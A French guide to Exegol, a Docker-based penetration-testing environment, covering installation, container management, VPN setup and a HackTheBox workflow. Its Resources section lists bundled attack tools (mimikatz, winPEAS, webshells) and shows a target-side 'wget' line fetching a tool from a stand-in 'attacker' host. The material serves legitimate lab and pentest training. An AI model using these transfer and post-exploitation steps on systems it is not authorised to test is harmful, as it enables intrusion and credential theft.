Skip to content

Exegol : Environnement de Hacking basé sur Docker

Une alternative moderne basée sur Docker à Kali Linux pour la sécurité offensive.


Pourquoi Exegol ?

Le Problème Kali :

  • VM monolithique qui casse au moindre apt upgrade
  • Conflits de dépendances entre les outils
  • Alourdi par des outils que vous n'utilisez jamais
  • Difficile de versionner votre configuration

La Solution Exegol :

  • Conteneurs Docker jetables
  • Images d'outils immuables et versionnées
  • Workspace persistant pour vos données
  • Système hôte propre, aucune pollution

Avantage Clé : Hôte propre, pas d'enfer de dépendances, environnements entièrement versionnés.


Installation

Prérequis

  • Docker (Desktop ou Engine)
  • Python 3.10+

Installer le Wrapper Exegol

# Recommandé : Installer avec pipx (environnement isolé)
pipx install exegol

# Alternative : pip
pip install exegol --user

# Vérifier l'installation
exegol version

Télécharger Votre Première Image

# Lister les images disponibles
exegol install

# Installer l'image complète (tous les outils)
exegol install full

# Ou alternatives plus légères
exegol install light   # Outils courants uniquement
exegol install ad      # Focalisé Active Directory
exegol install osint   # Outils OSINT
exegol install web     # Outils pentest web

Aide-Mémoire des Commandes Principales

Commande Description
exegol install Lister/installer les images disponibles
exegol start <name> <image> Créer et démarrer un conteneur
exegol stop <name> Arrêter un conteneur en cours
exegol remove <name> Supprimer un conteneur
exegol exec <name> Ouvrir un nouveau shell dans un conteneur en cours
exegol info Afficher les infos système et conteneurs
exegol update Mettre à jour le wrapper et les images

Exemple de Démarrage Rapide

# Créer un conteneur nommé "htb" utilisant l'image "full"
exegol start htb full

# Vous êtes maintenant dans le conteneur avec tous les outils prêts
# Quand terminé :
exit

# Réentrer dans le même conteneur plus tard
exegol start htb

Fonctionnalités Pro

Le Workspace (/workspace)

Règle #1 : Toujours Sauvegarder Votre Butin dans /workspace

/workspace dans le conteneur est mappé vers un dossier sur votre machine hôte.

Tout le reste dans le conteneur est éphémère—si vous supprimez le conteneur, c'est perdu.

# Dans le conteneur
cd /workspace

# Vos notes, exploits, captures vont ICI
mkdir notes scans exploits

# Ceci persiste même si vous détruisez le conteneur

Emplacement par défaut sur l'hôte : ~/.exegol/workspaces/<nom_conteneur>/

Resources (/opt/resources)

Outils offensifs pré-téléchargés prêts à uploader vers les cibles :

ls /opt/resources/

# Contenu inclus :
# ├── linux/
# │   ├── linpeas.sh
# │   ├── pspy64
# │   └── linux-exploit-suggester.sh
# ├── windows/
# │   ├── mimikatz/
# │   ├── winPEAS.exe
# │   ├── SharpHound.exe
# │   └── Rubeus.exe
# └── webshells/
# Servir vers la cible via HTTP
cd /opt/resources/windows
python -m http.server 80

# Sur la cible :
# wget http://attacker:80/winPEAS.exe

Intégration VPN

Connecter votre conteneur à HackTheBox, TryHackMe, ou VPN clients :

# Démarrer un conteneur avec VPN
exegol start htb full --vpn /path/to/lab.ovpn

# Le réseau du conteneur passe par le VPN
# Le réseau de votre hôte reste intact
# Multiples profils VPN
exegol start client1 full --vpn ~/vpn/client1.ovpn
exegol start htb full --vpn ~/vpn/hackthebox.ovpn

VPN par engagement

Chaque conteneur peut avoir sa propre connexion VPN. Parfait pour séparer les engagements clients.

Outils GUI (X11)

Exécuter des outils graphiques comme Burp Suite, Firefox :

# Linux (forwarding X11 automatique)
exegol start audit full
burpsuite &

# macOS (nécessite XQuartz)
exegol start audit full --desktop

Configuration Personnalisée

# Monter des volumes supplémentaires
exegol start audit full -v /path/to/scripts:/custom

# Exposer des ports
exegol start audit full -p 8080:8080

# Mode privilégié (pour certains exploits)
exegol start audit full --privileged

Comparaison : VM Kali vs Exegol

Aspect VM Kali Exegol
Type Machine Virtuelle Complète Conteneur Docker
Taille 10-30 GB 5-15 GB (image)
Temps de boot 30-60 secondes 1-2 secondes
Mise à jour outils apt upgrade (peut casser) Pull nouvelle image (immuable)
État Stateful (les changements persistent) Système stateless, données stateful
Pollution hôte OS complet dans VM Aucune (conteneur isolé)
Multi-environnement Multiples VMs = lourd Multiples conteneurs = léger
Versioning Snapshots manuels Tags Docker (full:2024.01)
Rollback Restaurer snapshot Utiliser tag d'image précédent
Utilisation ressources Élevée (RAM, CPU réservés) Faible (kernel partagé)

Exemple de Workflow : Machine HTB

# 1. Démarrer un conteneur frais pour la box
exegol start htb-devvortex full --vpn ~/htb/lab.ovpn

# 2. Dans le conteneur - créer la structure du workspace
cd /workspace
mkdir -p devvortex/{nmap,web,privesc}

# 3. Lancer vos scans (outils pré-installés)
nmap -sCV -oA devvortex/nmap/initial 10.10.11.xxx
feroxbuster -u http://devvortex.htb -o devvortex/web/ferox.txt

# 4. Toute la sortie sauvegardée dans /workspace (persiste sur l'hôte)

# 5. Quand terminé, le conteneur peut être supprimé
exit
exegol remove htb-devvortex
# Les données du workspace existent toujours dans ~/.exegol/workspaces/htb-devvortex/

Alias Utiles

Ajouter à votre ~/.bashrc ou ~/.zshrc :

# Démarrage rapide pour scénarios courants
alias htb='exegol start htb full --vpn ~/vpn/htb.ovpn'
alias thm='exegol start thm full --vpn ~/vpn/thm.ovpn'
alias audit='exegol start audit full'

# Shell rapide dans un conteneur en cours
alias exs='exegol start'
alias exe='exegol exec'

Ressources Officielles